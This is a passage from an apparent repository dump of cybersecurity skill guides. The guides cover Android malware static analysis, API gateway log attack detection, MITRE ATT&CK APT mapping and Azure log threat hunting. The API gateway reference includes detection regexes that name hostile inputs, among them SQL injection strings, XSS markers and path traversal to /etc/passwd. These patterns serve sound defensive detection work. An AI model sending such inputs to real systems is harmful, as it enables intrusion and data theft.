`analyze_permissions(apk)` — Permission risk assessment\nCalls `apk.get_permissions()`. Flags 20 dangerous permissions including\nSEND_SMS, READ_CONTACTS, BIND_DEVICE_ADMIN, BIND_ACCESSIBILITY_SERVICE.\nRisk: CRITICAL >= 8 dangerous, HIGH >= 5, MEDIUM >= 2, LOW < 2.\n\n### `analyze_manifest(apk)` — Manifest component extraction\nCalls `apk.get_activities()`, `get_services()`, `get_receivers()`, `get_providers()`.\nReturns package name, version, SDK levels, and all component lists.\n\n### `scan_suspicious_apis(dx)` — Suspicious API call detection\nSearches DEX analysis for 14 patterns including:\n- `Runtime.exec`, `ProcessBuilder.start` — command execution\n- `DexClassLoader.loadClass` — dynamic code loading\n- `Method.invoke`, `Class.forName` — reflection\n- `Cipher.getInstance` — cryptographic operations\n- `SmsManager.sendTextMessage` — SMS abuse\n\n### `extract_strings(dx, apk)` — IOC extraction from DEX strings\nRegex extraction of HTTP/HTTPS URLs, external IP addresses, and base64 strings.\nFilters out private IP ranges (10.x, 192.168.x, 172.16.x, 127.x).\n\n### `detect_obfuscation(apk, dx)` — Obfuscation indicator detection\nChecks for single-letter class names (ProGuard), multi-DEX, native libraries.\n\n### `full_analysis(apk_path)` — Comprehensive malware assessment\n\n## Androguard API\n| Method | Returns |\n|--------|---------|\n| `AnalyzeAPK(path)` | `(APK, list[DEX], Analysis)` tuple |\n| `apk.get_permissions()` | List of Android permissions |\n| `apk.get_activities()` | Activity component names |\n| `apk.get_services()` | Service component names |\n| `apk.get_receivers()` | BroadcastReceiver names |\n| `apk.get_package()` | Package name string |\n| `dx.find_methods(classname, methodname)` | Matching method analysis objects |\n| `dx.get_strings()` | All strings from DEX files |\n| `dx.get_classes()` | All class analysis objects |\n\n## Risk Scoring\n| Factor | Max Points |\n|--------|-----------|\n| Dangerous permissions (8 pts each) | 40 |\n| Suspicious API calls (10 pts each) | 30 |\n| External IPs (5 pts each) | 15 |\n| Obfuscation detected | 15 |\n\n## Dependencies\n- `androguard` >= 3.4.0\n- Isolated analysis environment recommended\n","isInternal":false,"tokens":673,"sizeBytes":2758},{"name":"SKILL.md","path":"skills/analyzing-android-malware-with-apktool/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-android-malware-with-apktool/SKILL.md","title":"analyzing-android-malware-with-apktool","category":"anthropic-skill","format":"markdown","content":"---\nname: analyzing-android-malware-with-apktool\ndescription: Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- Android\n- APK\n- apktool\n- jadx\n- androguard\n- mobile-malware\n- static-analysis\n- reverse-engineering\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1406\n- T1407\n- T1626.001\n- T1655.001\n- T1521.001\n---\n\n# Analyzing Android Malware with Apktool\n\n## Overview\n\nAndroid malware distributed as APK files can be statically analyzed to extract permissions, activities, services, broadcast receivers, and suspicious API calls without executing the sample. This skill uses androguard for programmatic APK analysis, identifying dangerous permission combinations, obfuscated code patterns, dynamic code loading, reflection-based API calls, and network communication indicators.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing android malware with apktool\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `androguard`\n- apktool (for resource decompilation)\n- jadx (for Java source recovery, optional)\n- Isolated analysis environment (VM or sandbox)\n- Sample APK files for analysis\n\n## Steps\n\n1. Parse APK with androguard to extract manifest metadata\n2. Enumerate requested permissions and flag dangerous combinations\n3. List activities, services, receivers, and providers from manifest\n4. Scan for suspicious API calls (reflection, crypto, SMS, telephony)\n5. Detect dynamic code loading patterns (DexClassLoader, Runtime.exec)\n6. Extract hardcoded URLs, IPs, and C2 indicators from strings\n7. Generate risk assessment report with MITRE ATT&CK mobile mappings\n\n## Expected Output\n\n- JSON report with permission analysis, component listing, suspicious API calls, network indicators, and risk score\n- Extracted strings and potential IOCs from the APK\n","frontmatter":{"name":"analyzing-android-malware-with-apktool","description":"Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["Android","APK","apktool","jadx","androguard","mobile-malware","static-analysis","reverse-engineering"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1406","T1407","T1626.001","T1655.001","T1521.001"]},"isInternal":false,"tokens":550,"sizeBytes":2477},{"name":"api-reference.md","path":"skills/analyzing-api-gateway-access-logs/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-api-gateway-access-logs/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# API Reference: Analyzing API Gateway Access Logs\n\n## AWS API Gateway Log Fields\n\n```json\n{\n  \"requestId\": \"abc-123\",\n  \"ip\": \"203.0.113.50\",\n  \"httpMethod\": \"GET\",\n  \"resourcePath\": \"/api/users/{id}\",\n  \"status\": 200,\n  \"requestTime\": \"2025-03-15T14:00:00Z\",\n  \"responseLength\": 1024\n}\n```\n\n## Pandas Log Analysis\n\n```python\nimport pandas as pd\n\ndf = pd.read_json(\"access_logs.json\", lines=True)\n\n# BOLA detection\ndf.groupby(\"user_id\")[\"resource_id\"].nunique()\n\n# Auth failure surge\ndf[df[\"status_code\"] == 401].groupby(\"source_ip\").size()\n\n# Request velocity\ndf.set_index(\"timestamp\").resample(\"1min\").size()\n```\n\n## OWASP API Top 10 Patterns\n\n| Risk | Detection Pattern |\n|------|-------------------|\n| BOLA (API1) | User accessing > 50 unique resource IDs |\n| Broken Auth (API2) | > 100 401/403 from single IP |\n| Excessive Data (API3) | Response size > 10x average |\n| Rate Limit (API4) | > 100 req/min from single IP |\n| BFLA (API5) | DELETE/PUT on read-only endpoints |\n| Injection (API8) | SQL/NoSQL patterns in params |\n\n## Injection Regex Patterns\n\n```python\nsql = r\"union\\s+select|drop\\s+table|'\\s*or\\s+'1'\"\nnosql = r\"\\$ne|\\$gt|\\$regex|\\$where\"\nxss = r\"<script|javascript:|onerror=\"\npath_traversal = r\"\\.\\./\\.\\./|/etc/passwd\"\n```\n\n### References\n\n- OWASP API Security Top 10: https://owasp.org/API-Security/\n- AWS API Gateway logging: https://docs.aws.amazon.com/apigateway/latest/developerguide/\n- pandas: https://pandas.pydata.org/docs/\n","isInternal":false,"tokens":447,"sizeBytes":1451},{"name":"SKILL.md","path":"skills/analyzing-api-gateway-access-logs/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-api-gateway-access-logs/SKILL.md","title":"analyzing-api-gateway-access-logs","category":"anthropic-skill","format":"markdown","content":"---\nname: analyzing-api-gateway-access-logs\ndescription: 'Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect\n  BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts.\n  Uses pandas for statistical analysis of request patterns and anomaly detection.\n  Use when investigating API abuse or building API-specific threat detection rules.\n\n  '\ndomain: cybersecurity\nsubdomain: security-operations\ntags:\n- api-security\n- access-log-analysis\n- aws-api-gateway\n- kong\n- nginx\n- bola-detection\n- rate-limit-bypass\n- security-operations\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\n- RS.MA-01\n- GV.OV-01\n- DE.AE-02\nmitre_attack:\n- T1190\n- T1110.004\n- T1078.004\n- T1119\n---\n\n# Analyzing API Gateway Access Logs\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing api gateway access logs\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Familiarity with security operations concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Instructions\n\nParse API gateway access logs to identify attack patterns including broken object\nlevel authorization (BOLA), excessive data exposure, and injection attempts.\n\n```python\nimport pandas as pd\n\ndf = pd.read_json(\"api_gateway_logs.json\", lines=True)\n# Detect BOLA: same user accessing many different resource IDs\nbola = df.groupby([\"user_id\", \"endpoint\"]).agg(\n    unique_ids=(\"resource_id\", \"nunique\")).reset_index()\nsuspicious = bola[bola[\"unique_ids\"] > 50]\n```\n\nKey detection patterns:\n1. BOLA/IDOR: sequential resource ID enumeration\n2. Rate limit bypass via header manipulation\n3. Credential scanning (401 surges from single source)\n4. SQL/NoSQL injection in query parameters\n5. Unusual HTTP methods (DELETE, PATCH) on read-only endpoints\n\n## Examples\n\n```python\n# Detect 401 surges indicating credential scanning\nauth_failures = df[df[\"status_code\"] == 401]\nscanner_ips = auth_failures.groupby(\"source_ip\").size()\nscanners = scanner_ips[scanner_ips > 100]\n```\n","frontmatter":{"name":"analyzing-api-gateway-access-logs","description":"Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts. Uses pandas for statistical analysis of request patterns and anomaly detection. Use when investigating API abuse or building API-specific threat detection rules.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["api-security","access-log-analysis","aws-api-gateway","kong","nginx","bola-detection","rate-limit-bypass","security-operations"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1190","T1110.004","T1078.004","T1119"]},"isInternal":false,"tokens":558,"sizeBytes":2321},{"name":"api-reference.md","path":"skills/analyzing-apt-group-with-mitre-navigator/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-apt-group-with-mitre-navigator/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# API Reference: MITRE ATT&CK Navigator APT Analysis\n\n## ATT&CK Navigator Layer Format\n\n### Layer JSON Structure\n```json\n{\n  \"name\": \"APT29 - TTPs\",\n  \"versions\": {\"attack\": \"14\", \"navigator\": \"4.9.1\", \"layer\": \"4.5\"},\n  \"domain\": \"enterprise-attack\",\n  \"techniques\": [\n    {\n      \"techniqueID\": \"T1566.001\",\n      \"tactic\": \"initial-access\",\n      \"color\": \"#ff6666\",\n      \"score\": 100,\n      \"comment\": \"Used by APT29\",\n      \"enabled\": true\n    }\n  ],\n  \"gradient\": {\"colors\": [\"#ffffff\", \"#ff6666\"], \"minValue\": 0, \"maxValue\": 100}\n}\n```\n\n## ATT&CK STIX Data Access\n\n### Download Enterprise ATT&CK Bundle\n```bash\ncurl -o enterprise-attack.json \\\n  https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json\n```\n\n### STIX Object Types\n| Type | Description |\n|------|-------------|\n| `intrusion-set` | APT groups / threat actors |\n| `attack-pattern` | Techniques and sub-techniques |\n| `relationship` | Links groups to techniques (`uses`) |\n| `malware` | Malware families |\n| `tool` | Legitimate tools used by adversaries |\n\n## mitreattack-python Library\n\n### Installation\n```bash\npip install mitreattack-python\n```\n\n### Query Group Techniques\n```python\nfrom mitreattack.stix20 import MitreAttackData\n\nattack = MitreAttackData(\"enterprise-attack.json\")\ngroups = attack.get_groups()\nfor g in groups:\n    techs = attack.get_techniques_used_by_group(g)\n    print(f\"{g.name}: {len(techs)} techniques\")\n```\n\n### Get Technique Details\n```python\ntechnique = attack.get_object_by_attack_id(\"T1566.001\", \"attack-pattern\")\nprint(technique.name)          # Spearphishing Attachment\nprint(technique.x_mitre_platforms)  # ['Windows', 'macOS', 'Linux']\n```\n\n## Navigator CLI (attack-navigator)\n\n### Export Layer to SVG\n```bash\nnpx attack-navigator-export \\\n  --layer layer.json \\\n  --output output.svg \\\n  --theme dark\n```\n\n## ATT&CK API (TAXII)\n```python\nfrom stix2 import TAXIICollectionSource, Filter\nfrom taxii2client.v20 import Collection\n\ncollection = Collection(\n    \"https://cti-taxii.mitre.org/stix/collections/95ecc380-afe9-11e4-9b6c-751b66dd541e/\"\n)\ntc_source = TAXIICollectionSource(collection)\ngroups = tc_source.query([Filter(\"type\", \"=\", \"intrusion-set\")])\n```\n\n## Key APT Groups Reference\n| ID | Name | Known Aliases |\n|----|------|--------------|\n| G0016 | APT29 | Cozy Bear, The Dukes, NOBELIUM |\n| G0007 | APT28 | Fancy Bear, Sofacy, Strontium |\n| G0022 | APT3 | Gothic Panda, UPS |\n| G0032 | Lazarus Group | HIDDEN COBRA, Zinc |\n| G0074 | Dragonfly 2.0 | Energetic Bear, Berserk Bear |\n| G0010 | Turla | Waterbug, Venomous Bear |\n","isInternal":false,"tokens":757,"sizeBytes":2573},{"name":"SKILL.md","path":"skills/analyzing-apt-group-with-mitre-navigator/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-apt-group-with-mitre-navigator/SKILL.md","title":"analyzing-apt-group-with-mitre-navigator","category":"anthropic-skill","format":"markdown","content":"---\nname: analyzing-apt-group-with-mitre-navigator\ndescription: Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups' TTPs for detection-gap analysis. Use to compare threat-actor technique coverage, find gaps in detection engineering, or produce Navigator visualizations for threat-intel reporting.\ndomain: cybersecurity\nsubdomain: threat-intelligence\ntags:\n- mitre-attack\n- navigator\n- apt\n- threat-actor\n- ttp-analysis\n- heatmap\n- detection-gap\n- threat-intelligence\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Executable Denylisting\n- Execution Isolation\n- File Metadata Consistency Validation\n- Content Format Conversion\n- File Content Analysis\nnist_csf:\n- ID.RA-01\n- ID.RA-05\n- DE.CM-01\n- DE.AE-02\nmitre_attack:\n- T1059.001\n- T1071.001\n- T1003.001\n- T1486\n- T1547.001\n---\n# Analyzing APT Group with MITRE ATT&CK Navigator\n\n## Overview\n\nMITRE ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices, enabling analysts to visualize threat actor technique coverage, compare multiple APT groups, identify detection gaps, and build threat-informed defense strategies. This skill covers querying ATT&CK data programmatically, mapping APT group TTPs to Navigator layers, creating multi-layer overlays for gap analysis, and generating actionable intelligence reports for detection engineering teams.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing apt group with mitre navigator\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `attackcti`, `mitreattack-python`, `stix2`, `requests` libraries\n- ATT&CK Navigator (https://mitre-attack.github.io/attack-navigator/) or local deployment\n- Understanding of ATT&CK Enterprise matrix: 14 Tactics, 200+ Techniques, Sub-techniques\n- Access to threat intelligence reports or MISP/OpenCTI for threat actor data\n- Familiarity with STIX 2.1 Intrusion Set and Attack Pattern objects\n\n## Key Concepts\n\n### ATT&CK Navigator Layers\n\nNavigator layers are JSON files that annotate ATT&CK techniques with scores, colors, comments, and metadata. Each layer can represent a single APT group's technique usage, a detection capability map, or a combined overlay. Layer version 4.5 supports enterprise-attack, mobile-attack, and ics-attack domains with filtering by platform (Windows, Linux, macOS, Cloud, Azure AD, Office 365, SaaS).\n\n### APT Group Profiles in ATT&CK\n\nATT&CK catalogs over 140 threat groups with documented technique usage. Each group profile includes aliases, targeted sectors, associated campaigns, software used, and technique mappings with procedure-level detail. Groups are identified by G-codes (e.g., G0016 for APT29, G0007 for APT28, G0032 for Lazarus Group).\n\n### Multi-Layer Analysis\n\nThe Navigator supports loading multiple layers simultaneously, allowing analysts to overlay threat actor TTPs against detection coverage to identify gaps, compare multiple APT groups to find common techniques worth prioritizing, and track technique coverage changes over time.\n\n## Workflow\n\n### Step 1: Query ATT&CK Data for APT Group\n\n```python\nfrom attackcti import attack_client\nimport json\n\nlift = attack_client()\n\n# Get all threat groups\ngroups = lift.get_groups()\nprint(f\"Total ATT&CK groups: {len(groups)}\")\n\n# Find APT29 (Cozy Bear / Midnight Blizzard)\napt29 = next((g for g in groups if g.get('name') == 'APT29'), None)\nif apt29:\n    print(f\"Group: {apt29['name']}\")\n    print(f\"Aliases: {apt29.get('aliases', [])}\")\n    print(f\"Description: {apt29.get('description', '')[:300]}\")\n\n# Get techniques used by APT29 (G0016)\ntechniques = lift.get_techniques_used_by_group(\"G0016\")\nprint(f\"APT29 uses {len(techniques)} techniques\")\n\ntechnique_map = {}\nfor tech in techniques:\n    tech_id = \"\"\n    for ref in tech.get(\"external_references\", []):\n        if ref.get(\"source_name\") == \"mitre-attack\":\n            tech_id = ref.get(\"external_id\", \"\")\n            break\n    if tech_id:\n        tactics = [p.get(\"phase_name\", \"\") for p in tech.get(\"kill_chain_phases\", [])]\n        technique_map[tech_id] = {\n            \"name\": tech.get(\"name\", \"\"),\n            \"tactics\": tactics,\n            \"description\": tech.get(\"description\", \"\")[:500],\n            \"platforms\": tech.get(\"x_mitre_platforms\", []),\n            \"data_sources\": tech.get(\"x_mitre_data_sources\", []),\n        }\n```\n\n### Step 2: Generate Navigator Layer JSON\n\n```python\ndef create_navigator_layer(group_name, technique_map, color=\"#ff6666\"):\n    techniques_list = []\n    for tech_id, info in technique_map.items():\n        for tactic in info[\"tactics\"]:\n            techniques_list.append({\n                \"techniqueID\": tech_id,\n                \"tactic\": tactic,\n                \"color\": color,\n                \"comment\": info[\"name\"],\n                \"enabled\": True,\n                \"score\": 100,\n                \"metadata\": [\n                    {\"name\": \"group\", \"value\": group_name},\n                    {\"name\": \"platforms\", \"value\": \", \".join(info[\"platforms\"])},\n                ],\n            })\n\n    layer = {\n        \"name\": f\"{group_name} TTP Coverage\",\n        \"versions\": {\"attack\": \"16.1\", \"navigator\": \"5.1.0\", \"layer\": \"4.5\"},\n        \"domain\": \"enterprise-attack\",\n        \"description\": f\"Techniques attributed to {group_name}\",\n        \"filters\": {\n            \"platforms\": [\"Linux\", \"macOS\", \"Windows\", \"Cloud\",\n                          \"Azure AD\", \"Office 365\", \"SaaS\", \"Google Workspace\"]\n        },\n        \"sorting\": 0,\n        \"layout\": {\n            \"layout\": \"side\", \"aggregateFunction\": \"average\",\n            \"showID\": True, \"showName\": True,\n            \"showAggregateScores\": False, \"countUnscored\": False,\n        },\n        \"hideDisabled\": False,\n        \"techniques\": techniques_list,\n        \"gradient\": {\"colors\": [\"#ffffff\", color], \"minValue\": 0, \"maxValue\": 100},\n        \"legendItems\": [\n            {\"label\": f\"Used by {group_name}\", \"color\": color},\n            {\"label\": \"Not observed\", \"color\": \"#ffffff\"},\n        ],\n        \"showTacticRowBackground\": True,\n        \"tacticRowBackground\": \"#dddddd\",\n        \"selectTechniquesAcrossTactics\": True,\n        \"selectSubtechniquesWithParent\": False,\n        \"selectVisibleTechniques\": False,\n    }\n    return layer\n\nlayer = create_navigator_layer(\"APT29\", technique_map)\nwith open(\"apt29_layer.json\", \"w\") as f:\n    json.dump(layer, f, indent=2)\nprint(\"[+] Layer saved: apt29_layer.json\")\n```\n\n### Step 3: Compare Multiple APT Groups\n\n```python\ngroups_to_compare = {\"G0016\": \"APT29\", \"G0007\": \"APT28\", \"G0032\": \"Lazarus Group\"}\ngroup_techniques = {}\n\nfor gid, gname in groups_to_compare.items():\n    techs = lift.get_techniques_used_by_group(gid)\n    tech_ids = set()\n    for t in techs:\n        for ref in t.get(\"external_references\", []):\n            if ref.get(\"source_name\") == \"mitre-attack\":\n                tech_ids.add(ref.get(\"external_id\", \"\"))\n    group_techniques[gname] = tech_ids\n\ncommon_to_all = set.intersection(*group_techniques.values())\nprint(f\"Techniques common to all groups: {len(common_to_all)}\")\nfor tid in sorted(common_to_all):\n    print(f\"  {tid}\")\n\nfor gname, techs in group_techniques.items():\n    others = set.union(*[t for n, t in group_techniques.items() if n != gname])\n    unique = techs - others\n    print(f\"\\nUnique to {gname}: {len(unique)} techniques\")\n```\n\n### Step 4: Detection Gap Analysis with Layer Overlay\n\n```python\n# Define your current detection capabilities\ndetected_techniques = {\n    \"T1059\", \"T1059.001\", \"T1071\", \"T1071.001\", \"T1566\", \"T1566.001\",\n    \"T1547\", \"T1547.001\", \"T1053\", \"T1053.005\", \"T1078\", \"T1027\",\n}\n\nactor_techniques = set(technique_map.keys())\ncovered = actor_techniques.intersection(detected_techniques)\ngaps = actor_techniques - detected_techniques\n\nprint(f\"=== Detection Gap Analysis for APT29 ===\")\nprint(f\"Actor techniques: {len(actor_techniques)}\")\nprint(f\"Detected: {len(covered)} ({len(covered)/len(actor_techniques)*100:.0f}%)\")\nprint(f\"Gaps: {len(gaps)} ({len(gaps)/len(actor_techniques)*100:.0f}%)\")\n\n# Create gap layer (red = undetected, green = detected)\ngap_techniques = []\nfor tech_id in actor_techniques:\n    info = technique_map.get(tech_id, {})\n    for tactic in info.get(\"tactics\", [\"\"]):\n        color = \"#66ff66\" if tech_id in detected_techniques else \"#ff3333\"\n        gap_techniques.append({\n            \"techniqueID\": tech_id,\n            \"tactic\": tactic,\n            \"color\": color,\n            \"comment\": f\"{'DETECTED' if tech_id in detected_techniques else 'GAP'}: {info.get('name', '')}\",\n            \"enabled\": True,\n            \"score\": 100 if tech_id in detected_techniques else 0,\n        })\n\ngap_layer = {\n    \"name\": \"APT29 Detection Gap Analysis\",\n    \"versions\": {\"attack\": \"16.1\", \"navigator\": \"5.1.0\", \"layer\": \"4.5\"},\n    \"domain\": \"enterprise-attack\",\n    \"description\": \"Green = detected, Red = gap\",\n    \"techniques\": gap_techniques,\n    \"gradient\": {\"colors\": [\"#ff3333\", \"#66ff66\"], \"minValue\": 0, \"maxValue\": 100},\n    \"legendItems\": [\n        {\"label\": \"Detected\", \"color\": \"#66ff66\"},\n        {\"label\": \"Detection Gap\", \"color\": \"#ff3333\"},\n    ],\n}\nwith open(\"apt29_gap_layer.json\", \"w\") as f:\n    json.dump(gap_layer, f, indent=2)\n```\n\n### Step 5: Tactic Breakdown Analysis\n\n```python\nfrom collections import defaultdict\n\ntactic_breakdown = defaultdict(list)\nfor tech_id, info in technique_map.items():\n    for tactic in info[\"tactics\"]:\n        tactic_breakdown[tactic].append({\"id\": tech_id, \"name\": info[\"name\"]})\n\ntactic_order = [\n    \"reconnaissance\", \"resource-development\", \"initial-access\",\n    \"execution\", \"persistence\", \"privilege-escalation\",\n    \"defense-evasion\", \"credential-access\", \"discovery\",\n    \"lateral-movement\", \"collection\", \"command-and-control\",\n    \"exfiltration\", \"impact\",\n]\n\nprint(\"\\n=== APT29 Tactic Breakdown ===\")\nfor tactic in tactic_order:\n    techs = tactic_breakdown.get(tactic, [])\n    if techs:\n        print(f\"\\n{tactic.upper()} ({len(techs)} techniques):\")\n        for t in techs:\n            print(f\"  {t['id']}: {t['name']}\")\n```\n\n## Validation Criteria\n\n- ATT&CK data queried successfully via TAXII server\n- APT group mapped to all documented techniques with procedure examples\n- Navigator layer JSON validates and renders correctly in ATT&CK Navigator\n- Multi-layer overlay shows threat actor vs. detection coverage\n- Detection gap analysis identifies unmonitored techniques with data source recommendations\n- Cross-group comparison reveals shared and unique TTPs\n- Output is actionable for detection engineering prioritization\n\n## References\n\n- [MITRE ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/)\n- [ATT&CK Groups](https://attack.mitre.org/groups/)\n- [attackcti Python Library](https://github.com/OTRF/ATTACK-Python-Client)\n- [Navigator Layer Format v4.5](https://github.com/mitre-attack/attack-navigator/blob/master/layers/LAYERFORMATv4_5.md)\n- [CISA Best Practices for MITRE ATT&CK Mapping](https://www.cisa.gov/sites/default/files/2023-01/Best%20Practices%20for%20MITRE%20ATTCK%20Mapping.pdf)\n- [Picus: Leverage MITRE ATT&CK for Threat Intelligence](https://www.picussecurity.com/how-to-leverage-the-mitre-attack-framework-for-threat-intelligence)\n","frontmatter":{"name":"analyzing-apt-group-with-mitre-navigator","description":"Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups' TTPs for detection-gap analysis. Use to compare threat-actor technique coverage, find gaps in detection engineering, or produce Navigator visualizations for threat-intel reporting.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["mitre-attack","navigator","apt","threat-actor","ttp-analysis","heatmap","detection-gap","threat-intelligence"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1059.001","T1071.001","T1003.001","T1486","T1547.001"]},"isInternal":false,"tokens":2950,"sizeBytes":11451},{"name":"api-reference.md","path":"skills/analyzing-azure-activity-logs-for-threats/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-azure-activity-logs-for-threats/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# API Reference: Analyzing Azure Activity Logs for Threats\n\n## azure-monitor-query\n\n```python\nfrom azure.identity import DefaultAzureCredential\nfrom azure.monitor.query import LogsQueryClient, LogsQueryStatus\nfrom datetime import timedelta\n\ncredential = DefaultAzureCredential()\nclient = LogsQueryClient(credential)\n\nresponse = client.query_workspace(\n    workspace_id=\"WORKSPACE_ID\",\n    query=\"AzureActivity | take 10\",\n    timespan=timedelta(hours=24),\n)\nif response.status == LogsQueryStatus.SUCCESS:\n    for table in response.tables:\n        columns = [col.name for col in table.columns]\n        for row in table.rows:\n            print(dict(zip(columns, row)))\n```\n\n## Key Azure Log Tables\n\n| Table | Content |\n|-------|---------|\n| `AzureActivity` | Control plane operations (ARM) |\n| `SigninLogs` | Azure AD sign-in events |\n| `AuditLogs` | Azure AD audit trail |\n| `AzureDiagnostics` | Resource diagnostics (Key Vault, NSG) |\n| `SecurityAlert` | Defender for Cloud alerts |\n\n## Threat Detection KQL Patterns\n\n```kql\n// Privilege escalation\nAzureActivity | where OperationNameValue has \"ROLEASSIGNMENTS/WRITE\"\n\n// Impossible travel\nSigninLogs | where ResultType == 0\n| extend Distance = geo_distance_2points(...)\n\n// Mass deletion\nAzureActivity | where OperationNameValue endswith \"/DELETE\"\n| summarize count() by Caller, bin(TimeGenerated, 1h)\n```\n\n### References\n\n- azure-monitor-query: https://pypi.org/project/azure-monitor-query/\n- KQL reference: https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/\n- Azure Activity Log schema: https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/activity-log-schema\n","isInternal":false,"tokens":378,"sizeBytes":1641},{"name":"SKILL.md","path":"skills/analyzing-azure-activity-logs-for-threats/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-azure-activity-logs-for-threats/SKILL.md","title":"analyzing-azure-activity-logs-for-threats","category":"anthropic-skill","format":"markdown","content":"---\nname: analyzing-azure-activity-logs-for-threats\ndescription: 'Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query\n  to detect suspicious administrative operations, impossible travel, privilege escalation,\n  and resource modifications. Builds KQL queries for threat hunting in Azure environments.\n  Use when investigating suspicious Azure tenant activity or building cloud SIEM detections.\n\n  '\ndomain: cybersecurity\nsubdomain: security-operations\ntags:\n- azure\n- cloud-security\n- azure-monitor\n- kql\n- threat-hunting\n- activity-logs\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\n- RS.MA-01\n- GV.OV-01\n- DE.AE-02\nmitre_attack:\n- T1078.004\n- T1098.003\n- T1538\n- T1556.009\n- T1580\n---\n\n# Analyzing Azure Activity Logs for Threats\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing azure activity logs for threats\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Familiarity with security operations concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Instructions\n\nUse azure-monitor-query to execute KQL queries against Azure Log Analytics workspaces,\ndetecting suspicious admin operations and sign-in anomalies.\n\n```python\nfrom azure.identity import DefaultAzureCredential\nfrom azure.monitor.query import LogsQueryClient\nfrom datetime import timedelta\n\ncredential = DefaultAzureCredential()\nclient = LogsQueryClient(credential)\n\nresponse = client.query_workspace(\n    workspace_id=\"WORKSPACE_ID\",\n    query=\"AzureActivity | where OperationNameValue has 'MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE' | take 10\",\n    timespan=timedelta(hours=24),\n)\n```\n\nKey detection queries:\n1. Role assignment changes (privilege escalation)\n2. Resource group and subscription modifications\n3. Key vault secret access from new IPs\n4. Network security group rule changes\n5. Conditional access policy modifications\n\n## Examples\n\n```python\n# Detect new Global Admin role assignments\nquery = '''\nAuditLogs\n| where OperationName == \"Add member to role\"\n| where TargetResources[0].modifiedProperties[0].newValue has \"Global 